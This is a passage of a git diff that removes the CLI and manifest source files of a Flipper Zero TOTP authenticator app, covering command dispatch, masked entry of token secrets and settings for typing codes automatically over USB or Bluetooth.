aba01fe73..000000000 --- a/applications/external/totp/application.fam +++ /dev/null @@ -1,45 +0,0 @@ -App( - appid="totp", - name="Authenticator", - apptype=FlipperAppType.EXTERNAL, - entry_point="totp_app", - cdefines=["APP_TOTP"], - requires=[ - "gui", - "cli", - "dialogs", - "storage", - "input", - "notification", - "bt" - ], - stack_size=2 * 1024, - order=20, - fap_version="3.20", - fap_author="Alexander Kopachov (@akopachov)", - fap_description="Software-based TOTP authenticator for Flipper Zero device", - fap_weburl="https://github.com/akopachov/flipper-zero_authenticator", - fap_category="Tools", - fap_icon_assets="images", - fap_icon="totp_10px.png", - fap_private_libs=[ - Lib( - name="base32", - ), - Lib( - name="base64", - ), - Lib( - name="timezone_utils", - ), - Lib( - name="polyfills", - ), - Lib( - name="roll_value", - ), - Lib( - name="fonts", - ), - ], -) diff --git a/applications/external/totp/cli/cli.c b/applications/external/totp/cli/cli.c deleted file mode 100644 index 4cb68ce83..000000000 --- a/applications/external/totp/cli/cli.c +++ /dev/null @@ -1,100 +0,0 @@ -// Original idea: https://github.com/br0ziliy - -#include "cli.h" -#include -#include "cli_helpers.h" -#include "commands/list/list.h" -#include "commands/add/add.h" -#include "commands/update/update.h" -#include "commands/delete/delete.h" -#include "commands/timezone/timezone.h" -#include "commands/help/help.h" -#include "commands/move/move.h" -#include "commands/pin/pin.h" -#include "commands/notification/notification.h" -#include "commands/reset/reset.h" -#include "commands/automation/automation.h" -#include "commands/details/details.h" - -struct TotpCliContext { - PluginState* plugin_state; -}; - -static void totp_cli_print_unknown_command(const FuriString* unknown_command) { - TOTP_CLI_PRINTF_ERROR( - "Command \"%s\" is unknown. Use \"" TOTP_CLI_COMMAND_HELP - "\" command to get list of available commands.", - furi_string_get_cstr(unknown_command)); -} - -static void totp_cli_handler(Cli* cli, FuriString* args, void* context) { - TotpCliContext* cli_context = context; - PluginState* plugin_state = cli_context->plugin_state; - - FuriString* cmd = furi_string_alloc(); - - args_read_string_and_trim(args, cmd); - - if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_HELP) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_HELP_ALT) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_HELP_ALT2) == 0 || furi_string_empty(cmd)) { - totp_cli_command_help_handle(); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_ADD) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_ADD_ALT) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_ADD_ALT2) == 0) { - totp_cli_command_add_handle(plugin_state, args, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_LIST) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_LIST_ALT) == 0) { - totp_cli_command_list_handle(plugin_state, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_DELETE) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_DELETE_ALT) == 0) { - totp_cli_command_delete_handle(plugin_state, args, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_TIMEZONE) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_TIMEZONE_ALT) == 0) { - totp_cli_command_timezone_handle(plugin_state, args, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_MOVE) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_MOVE_ALT) == 0) { - totp_cli_command_move_handle(plugin_state, args, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_PIN) == 0) { - totp_cli_command_pin_handle(plugin_state, args, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_NOTIFICATION) == 0) { - totp_cli_command_notification_handle(plugin_state, args, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_AUTOMATION) == 0) { - totp_cli_command_automation_handle(plugin_state, args, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_RESET) == 0) { - totp_cli_command_reset_handle(plugin_state, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_UPDATE) == 0) { - totp_cli_command_update_handle(plugin_state, args, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_DETAILS) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_DETAILS_ALT) == 0) { - totp_cli_command_details_handle(plugin_state, args, cli); - } else { - totp_cli_print_unknown_command(cmd); - } - - furi_string_free(cmd); -} - -TotpCliContext* totp_cli_register_command_handler(PluginState* plugin_state) { - Cli* cli = furi_record_open(RECORD_CLI); - TotpCliContext* context = malloc(sizeof(TotpCliContext)); - furi_check(context != NULL); - context->plugin_state = plugin_state; - cli_add_command( - cli, TOTP_CLI_COMMAND_NAME, CliCommandFlagParallelSafe, totp_cli_handler, context); - furi_record_close(RECORD_CLI); - return context; -} - -void totp_cli_unregister_command_handler(TotpCliContext* context) { - Cli* cli = furi_record_open(RECORD_CLI); - cli_delete_command(cli, TOTP_CLI_COMMAND_NAME); - furi_record_close(RECORD_CLI); - free(context); -} \ No newline at end of file diff --git a/applications/external/totp/cli/cli.h b/applications/external/totp/cli/cli.h deleted file mode 100644 index 13afef78f..000000000 --- a/applications/external/totp/cli/cli.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../types/plugin_state.h" - -typedef struct TotpCliContext TotpCliContext; - -/** - * @brief Registers TOTP CLI handler - * @param plugin_state application state - * @return TOTP CLI context - */ -TotpCliContext* totp_cli_register_command_handler(PluginState* plugin_state); - -/** - * @brief Unregisters TOTP CLI handler - * @param context application state - */ -void totp_cli_unregister_command_handler(TotpCliContext* context); \ No newline at end of file diff --git a/applications/external/totp/cli/cli_helpers.c b/applications/external/totp/cli/cli_helpers.c deleted file mode 100644 index 226917237..000000000 --- a/applications/external/totp/cli/cli_helpers.c +++ /dev/null @@ -1,123 +0,0 @@ -#include "cli_helpers.h" -#include -#include -#include "../types/plugin_event.h" - -const char* TOTP_CLI_COLOR_ERROR = "91m"; -const char* TOTP_CLI_COLOR_WARNING = "93m"; -const char* TOTP_CLI_COLOR_SUCCESS = "92m"; -const char* TOTP_CLI_COLOR_INFO = "96m"; - -bool totp_cli_ensure_authenticated(const PluginState* plugin_state, Cli* cli) { - if(plugin_state->current_scene == TotpSceneAuthentication) { - TOTP_CLI_PRINTF("Pleases enter PIN on your flipper device\r\n"); - - while((plugin_state->current_scene == TotpSceneAuthentication || - plugin_state->current_scene == TotpSceneNone) && - !cli_cmd_interrupt_received(cli)) { - furi_delay_ms(100); - } - - totp_cli_delete_last_line(); - - if(plugin_state->current_scene == TotpSceneAuthentication || //-V560 - plugin_state->current_scene == TotpSceneNone) { //-V560 - TOTP_CLI_PRINTF_INFO("Cancelled by user\r\n"); - return false; - } - } - - return true; -} - -void totp_cli_force_close_app(FuriMessageQueue* event_queue) { - PluginEvent event = {.type = EventForceCloseApp}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -bool totp_cli_read_line(Cli* cli, FuriString* out_str, bool mask_user_input) { - uint8_t c; - while(cli_read(cli, &c, 1) == 1) { - if(c == CliSymbolAsciiEsc) { - // Some keys generating escape-sequences - // We need to ignore them as we care about alpha-numerics only - uint8_t c2; - cli_read_timeout(cli, &c2, 1, 0); - cli_read_timeout(cli, &c2, 1, 0); - } else if(c == CliSymbolAsciiETX) { - cli_nl(); - return false; - } else if( - (c >= '0' && c <= '9') || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || - c == '/' || c == '=' || c == '+') { - if(mask_user_input) { - putc('*', stdout); - } else { - putc(c, stdout); - } - fflush(stdout); - furi_string_push_back(out_str, c); - } else if(c == CliSymbolAsciiBackspace || c == CliSymbolAsciiDel) { - size_t out_str_size = furi_string_size(out_str); - if(out_str_size > 0) { - totp_cli_delete_last_char(); - furi_string_left(out_str, out_str_size - 1); - } - } else if(c == CliSymbolAsciiCR) { - cli_nl(); - break; - } - } - - return true; -} - -bool args_read_uint8_and_trim(FuriString* args, uint8_t* value) { - int int_value; - if(!args_read_int_and_trim(args, &int_value) || int_value < 0 || int_value > UINT8_MAX) { - return false; - } - - *value = (uint8_t)int_value; - return true; -} - -void furi_string_secure_free(FuriString* str) { - for(long i = furi_string_size(str) - 1; i >= 0; i--) { - furi_string_set_char(str, i, '\0'); - } - - furi_string_free(str); -} - -void totp_cli_print_invalid_arguments() { - TOTP_CLI_PRINTF_ERROR( - "Invalid command arguments. use \"help\" command to get list of available commands"); -} - -void totp_cli_print_error_updating_config_file() { - TOTP_CLI_PRINTF_ERROR("An error has occurred during updating config file\r\n"); -} - -void totp_cli_print_error_loading_token_info() { - TOTP_CLI_PRINTF_ERROR("An error has occurred during loading token information\r\n"); -} - -void totp_cli_print_processing() { - TOTP_CLI_PRINTF("Processing, please wait...\r\n"); -} - -void totp_cli_delete_last_char() { - TOTP_CLI_PRINTF("\b \b"); - fflush(stdout); -} - -void totp_cli_delete_current_line() { - TOTP_CLI_PRINTF("\33[2K\r"); - fflush(stdout); -} - -void totp_cli_delete_last_line() { - TOTP_CLI_PRINTF("\033[A\33[2K\r"); - fflush(stdout); -} diff --git a/applications/external/totp/cli/cli_helpers.h b/applications/external/totp/cli/cli_helpers.h deleted file mode 100644 index 9c40bff13..000000000 --- a/applications/external/totp/cli/cli_helpers.h +++ /dev/null @@ -1,116 +0,0 @@ -#pragma once - -#include -#include "../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_NAME "totp" - -#define DOCOPT_ARGUMENT(arg) "<" arg ">" -#define DOCOPT_MULTIPLE(arg) arg "..." -#define DOCOPT_OPTIONAL(param) "[" param "]" -#define DOCOPT_REQUIRED(param) "(" param ")" -#define DOCOPT_OPTION(option, value) option " " value -#define DOCOPT_SWITCH(option) option -#define DOCOPT_OPTIONS "[options]" -#define DOCOPT_DEFAULT(val) "[default: " val "]" - -extern const char* TOTP_CLI_COLOR_ERROR; -extern const char* TOTP_CLI_COLOR_WARNING; -extern const char* TOTP_CLI_COLOR_SUCCESS; -extern const char* TOTP_CLI_COLOR_INFO; - -#define TOTP_CLI_PRINTF(format, ...) printf(format, ##__VA_ARGS__) - -#define TOTP_CLI_PRINTF_COLORFUL(color, format, ...) \ - TOTP_CLI_PRINTF("\e[%s" format "\e[0m", color, ##__VA_ARGS__) - -#define TOTP_CLI_PRINTF_ERROR(format, ...) \ - TOTP_CLI_PRINTF_COLORFUL(TOTP_CLI_COLOR_ERROR, format, ##__VA_ARGS__) -#define TOTP_CLI_PRINTF_WARNING(format, ...) \ - TOTP_CLI_PRINTF_COLORFUL(TOTP_CLI_COLOR_WARNING, format, ##__VA_ARGS__) -#define TOTP_CLI_PRINTF_SUCCESS(format, ...) \ - TOTP_CLI_PRINTF_COLORFUL(TOTP_CLI_COLOR_SUCCESS, format, ##__VA_ARGS__) -#define TOTP_CLI_PRINTF_INFO(format, ...) \ - TOTP_CLI_PRINTF_COLORFUL(TOTP_CLI_COLOR_INFO, format, ##__VA_ARGS__) - -#define TOTP_CLI_LOCK_UI(plugin_state) \ - Scene __previous_scene = plugin_state->current_scene; \ - totp_scene_director_activate_scene(plugin_state, TotpSceneStandby); \ - totp_scene_director_force_redraw(plugin_state) - -#define TOTP_CLI_UNLOCK_UI(plugin_state) \ - totp_scene_director_activate_scene(plugin_state, __previous_scene); \ - totp_scene_director_force_redraw(plugin_state) - -/** - * @brief Checks whether user is authenticated and entered correct PIN. - * If user is not authenticated it prompts user to enter correct PIN to authenticate. - * @param plugin_state application state - * @param cli pointer to the firmware CLI subsystem - * @return \c true if user is already authenticated or successfully authenticated; \c false otherwise - */ -bool totp_cli_ensure_authenticated(const PluginState* plugin_state, Cli* cli); - -/** - * @brief Forces application to be instantly closed - * @param event_queue main app queue - */ -void totp_cli_force_close_app(FuriMessageQueue* event_queue); - -/** - * @brief Reads line of characters from console - * @param cli pointer to the firmware CLI subsystem - * @param out_str pointer to an output string to put read line to - * @param mask_user_input whether to mask input characters in console or not - * @return \c true if line successfully read and confirmed; \c false otherwise - */ -bool totp_cli_read_line(Cli* cli, FuriString* out_str, bool mask_user_input); - -/** - * @brief Extracts \c uint8_t value and trims arguments string - * @param args arguments string - * @param[out] value parsed value - * @return \c true if value successfully read and parsed as \c uint8_t ; \c false otherwise - */ -bool args_read_uint8_and_trim(FuriString* args, uint8_t* value); - -/** - * @brief Free \c FuriString instance in a secure manner by clearing it first - * @param str instance to free - */ -void furi_string_secure_free(FuriString* str); - -/** - * @brief Deletes last printed line in console - */ -void totp_cli_delete_last_line(); - -/** - * @brief Deletes current printed line in console - */ -void totp_cli_delete_current_line(); - -/** - * @brief Deletes last printed char in console - */ -void totp_cli_delete_last_char(); - -/** - * @brief Prints error message about invalid command arguments - */ -void totp_cli_print_invalid_arguments(); - -/** - * @brief Prints error message about config file update error - */ -void totp_cli_print_error_updating_config_file(); - -/** - * @brief Prints error message about config file loading error - */ -void totp_cli_print_error_loading_token_info(); - -/** - * @brief Prints message to let user know that command is processing now - */ -void totp_cli_print_processing(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/add/add.c b/applications/external/totp/cli/commands/add/add.c deleted file mode 100644 index d2bf8b907..000000000 --- a/applications/external/totp/cli/commands/add/add.c +++ /dev/null @@ -1,190 +0,0 @@ -#include "add.h" -#include -#include -#include "../../../types/token_info.h" -#include "../../../services/config/config.h" -#include "../../../services/convert/convert.h" -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../common_command_arguments.h" - -struct TotpAddContext { - FuriString* args; - Cli* cli; - const CryptoSettings* crypto_settings; -}; - -enum TotpIteratorUpdateTokenResultsEx { - TotpIteratorUpdateTokenResultInvalidSecret = 1, - TotpIteratorUpdateTokenResultCancelled = 2, - TotpIteratorUpdateTokenResultInvalidArguments = 3 -}; - -static TotpIteratorUpdateTokenResult - add_token_handler(TokenInfo* token_info, const void* context) { - const struct TotpAddContext* context_t = context; - - // Reading token name - if(!args_read_probably_quoted_string_and_trim(context_t->args, token_info->name)) { - return TotpIteratorUpdateTokenResultInvalidArguments; - } - - FuriString* temp_str = furi_string_alloc(); - - // Read optional arguments - bool mask_user_input = true; - PlainTokenSecretEncoding token_secret_encoding = PlainTokenSecretEncodingBase32; - while(args_read_string_and_trim(context_t->args, temp_str)) { - bool parsed = false; - if(!totp_cli_try_read_algo(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_digits(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_duration(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_unsecure_flag(temp_str, &parsed, &mask_user_input) && - !totp_cli_try_read_automation_features(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_plain_token_secret_encoding( - temp_str, context_t->args, &parsed, &token_secret_encoding)) { - totp_cli_printf_unknown_argument(temp_str); - } - - if(!parsed) { - furi_string_free(temp_str); - return TotpIteratorUpdateTokenResultInvalidArguments; - } - } - - // Reading token secret - furi_string_reset(temp_str); - TOTP_CLI_PRINTF("Enter token secret and confirm with [ENTER]:\r\n"); - if(!totp_cli_read_line(context_t->cli, temp_str, mask_user_input)) { - totp_cli_delete_last_line(); - furi_string_secure_free(temp_str); - return TotpIteratorUpdateTokenResultCancelled; - } - - totp_cli_delete_last_line(); - - bool secret_set = token_info_set_secret( - token_info, - furi_string_get_cstr(temp_str), - furi_string_size(temp_str), - token_secret_encoding, - context_t->crypto_settings); - - furi_string_secure_free(temp_str); - - if(!secret_set) { - return TotpIteratorUpdateTokenResultInvalidSecret; - } - - return TotpIteratorUpdateTokenResultSuccess; -} - -void totp_cli_command_add_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ADD ", " TOTP_CLI_COMMAND_ADD_ALT - ", " TOTP_CLI_COMMAND_ADD_ALT2 " Add new token\r\n"); -} - -void totp_cli_command_add_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_ADD " | " TOTP_CLI_COMMAND_ADD_ALT " | " TOTP_CLI_COMMAND_ADD_ALT2) " " DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_NAME) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_ALGO_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_ALGO))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING))) " " DOCOPT_OPTIONAL( - DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_DIGITS))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_DURATION_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_DURATION))) " " DOCOPT_OPTIONAL(DOCOPT_SWITCH(TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX)) " " DOCOPT_MULTIPLE(DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE)))) "\r\n"); -} - -void totp_cli_command_add_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ARG_NAME " Token name\r\n"); -} - -void totp_cli_command_add_docopt_options() { - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_ALGO_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_ALGO)) " Token hashing algorithm. Must be one of: " TOKEN_HASH_ALGO_SHA1_NAME - ", " TOKEN_HASH_ALGO_SHA256_NAME - ", " TOKEN_HASH_ALGO_SHA512_NAME - ", " TOKEN_HASH_ALGO_STEAM_NAME - " " DOCOPT_DEFAULT(TOKEN_HASH_ALGO_SHA1_NAME) "\r\n"); - TOTP_CLI_PRINTF( - " " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_DIGITS)) " Number of digits to generate, one of: %" PRIu8 - ", %" PRIu8 ", %" PRIu8 - " " DOCOPT_DEFAULT("%" PRIu8) "\r\n", - TokenDigitsCountFive, - TokenDigitsCountSix, - TokenDigitsCountEight, - TokenDigitsCountSix); - - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_SECRET_ENCODING)) " Token secret encoding, one of " PLAIN_TOKEN_ENCODING_BASE32_NAME - ", " PLAIN_TOKEN_ENCODING_BASE64_NAME - " " DOCOPT_DEFAULT( - PLAIN_TOKEN_ENCODING_BASE32_NAME) "\r\n"); - - TOTP_CLI_PRINTF( - " " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_DURATION_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_DURATION)) " Token lifetime duration in seconds, between: %" PRIu8 - " and %" PRIu8 - " " DOCOPT_DEFAULT("%" PRIu8) "\r\n", - TokenDurationMin, - TokenDurationMax, - TokenDurationDefault); - TOTP_CLI_PRINTF(" " DOCOPT_SWITCH( - TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX) " Show console user input as-is without masking\r\n"); - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE)) " Token automation features to be enabled. Must be one of: " TOKEN_AUTOMATION_FEATURE_NONE_NAME - ", " TOKEN_AUTOMATION_FEATURE_ENTER_AT_THE_END_NAME - ", " TOKEN_AUTOMATION_FEATURE_TAB_AT_THE_END_NAME - " " DOCOPT_DEFAULT( - TOKEN_AUTOMATION_FEATURE_NONE_NAME) "\r\n"); - TOTP_CLI_PRINTF(" # " TOKEN_AUTOMATION_FEATURE_NONE_NAME " - No features\r\n"); - TOTP_CLI_PRINTF(" # " TOKEN_AUTOMATION_FEATURE_ENTER_AT_THE_END_NAME - " - Type key at the end of token input automation\r\n"); - TOTP_CLI_PRINTF(" # " TOKEN_AUTOMATION_FEATURE_TAB_AT_THE_END_NAME - " - Type key at the end of token input automation\r\n"); - TOTP_CLI_PRINTF(" # " TOKEN_AUTOMATION_FEATURE_TYPE_SLOWER_NAME - " - Type slower\r\n"); -} - -void totp_cli_command_add_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - - TOTP_CLI_LOCK_UI(plugin_state); - - struct TotpAddContext add_context = { - .args = args, .cli = cli, .crypto_settings = &plugin_state->crypto_settings}; - TotpIteratorUpdateTokenResult add_result = - totp_token_info_iterator_add_new_token(iterator_context, &add_token_handler, &add_context); - - if(add_result == TotpIteratorUpdateTokenResultSuccess) { - TOTP_CLI_PRINTF_SUCCESS( - "Token \"%s\" has been successfully added\r\n", - furi_string_get_cstr( - totp_token_info_iterator_get_current_token(iterator_context)->name)); - } else if(add_result == TotpIteratorUpdateTokenResultCancelled) { - TOTP_CLI_PRINTF_INFO("Cancelled by user\r\n"); - } else if(add_result == TotpIteratorUpdateTokenResultInvalidArguments) { - totp_cli_print_invalid_arguments(); - } else if(add_result == TotpIteratorUpdateTokenResultInvalidSecret) { - TOTP_CLI_PRINTF_ERROR("Token secret seems to be invalid and can not be parsed\r\n"); - } else if(add_result == TotpIteratorUpdateTokenResultFileUpdateFailed) { - totp_cli_print_error_updating_config_file(); - } - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/add/add.h b/applications/external/totp/cli/commands/add/add.h deleted file mode 100644 index 001dc9e80..000000000 --- a/applications/external/totp/cli/commands/add/add.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_ADD "add" -#define TOTP_CLI_COMMAND_ADD_ALT "mk" -#define TOTP_CLI_COMMAND_ADD_ALT2 "new" - -void totp_cli_command_add_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -void totp_cli_command_add_docopt_commands(); -void totp_cli_command_add_docopt_usage(); -void totp_cli_command_add_docopt_arguments(); -void totp_cli_command_add_docopt_options(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/automation/automation.c b/applications/external/totp/cli/commands/automation/automation.c deleted file mode 100644 index 87c121dbe..000000000 --- a/applications/external/totp/cli/commands/automation/automation.c +++ /dev/null @@ -1,184 +0,0 @@ -#include "automation.h" -#include -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" - -#define TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD "automation" -#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE "none" -#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB "usb" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT "bt" -#endif -#define TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_QWERTY "QWERTY" -#define TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_AZERTY "AZERTY" -#define TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT_PREFIX "-k" -#define TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT "layout" - -void totp_cli_command_automation_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_AUTOMATION " Get or set automation settings\r\n"); -} - -void totp_cli_command_automation_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_AUTOMATION " " DOCOPT_OPTIONAL(DOCOPT_OPTION( - TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT))) " " DOCOPT_OPTIONAL(DOCOPT_MULTIPLE(DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD))) "\r\n"); -} - -void totp_cli_command_automation_docopt_arguments() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD - " Automation method to be set. Must be one of: " TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE - ", " TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - ", " TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT -#endif - "\r\n"); -} - -void totp_cli_command_automation_docopt_options() { - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT)) " Automation keyboard layout. Must be one of: " TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_QWERTY - ", " TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_AZERTY - "\r\n"); -} - -static void print_method(AutomationMethod method, const char* color) { -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - bool has_previous_method = false; -#endif - if(method & AutomationMethodBadUsb) { - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB "\""); -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - has_previous_method = true; -#endif - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(method & AutomationMethodBadBt) { - if(has_previous_method) { - TOTP_CLI_PRINTF_COLORFUL(color, " and "); - } - - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT "\""); - } -#endif - - if(method == AutomationMethodNone) { - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE "\""); - } -} - -static void print_kb_layout(AutomationKeyboardLayout layout, const char* color) { - char* layoutToPrint; - switch(layout) { - case AutomationKeyboardLayoutQWERTY: - layoutToPrint = TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_QWERTY; - break; - case AutomationKeyboardLayoutAZERTY: - layoutToPrint = TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_AZERTY; - break; - default: - furi_crash("Unknown automation keyboard layout"); - break; - } - - TOTP_CLI_PRINTF_COLORFUL(color, "%s", layoutToPrint); -} - -static bool - parse_automation_keyboard_layout(const FuriString* str, AutomationKeyboardLayout* out) { - bool result = true; - if(furi_string_cmpi_str(str, TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_QWERTY) == 0) { - *out = AutomationKeyboardLayoutQWERTY; - } else if(furi_string_cmpi_str(str, TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_AZERTY) == 0) { - *out = AutomationKeyboardLayoutAZERTY; - } else { - result = false; - } - - return result; -} - -void totp_cli_command_automation_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - FuriString* temp_str = furi_string_alloc(); - bool new_method_provided = false; - AutomationMethod new_method = AutomationMethodNone; - AutomationKeyboardLayout new_kb_layout = plugin_state->automation_kb_layout; - bool args_valid = true; - while(args_read_string_and_trim(args, temp_str)) { - if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE) == 0) { - new_method_provided = true; - new_method = AutomationMethodNone; - } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB) == 0) { - new_method_provided = true; - new_method |= AutomationMethodBadUsb; - } -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT) == 0) { - new_method_provided = true; - new_method |= AutomationMethodBadBt; - } -#endif - else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT_PREFIX) == 0) { - if(!args_read_string_and_trim(args, temp_str) || - !parse_automation_keyboard_layout(temp_str, &new_kb_layout)) { - args_valid = false; - break; - } - } else { - args_valid = false; - break; - } - } - - do { - if(!args_valid) { - totp_cli_print_invalid_arguments(); - break; - } - - if(new_method_provided) { - TOTP_CLI_LOCK_UI(plugin_state); - - plugin_state->automation_method = new_method; - plugin_state->automation_kb_layout = new_kb_layout; - if(totp_config_file_update_automation_method(plugin_state)) { - TOTP_CLI_PRINTF_SUCCESS("Automation method is set to "); - print_method(new_method, TOTP_CLI_COLOR_SUCCESS); - TOTP_CLI_PRINTF_SUCCESS(" ("); - print_kb_layout(plugin_state->automation_kb_layout, TOTP_CLI_COLOR_SUCCESS); - TOTP_CLI_PRINTF_SUCCESS(")"); - cli_nl(); - } else { - totp_cli_print_error_updating_config_file(); - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(!(new_method & AutomationMethodBadBt) && - plugin_state->bt_type_code_worker_context != NULL) { - totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); - 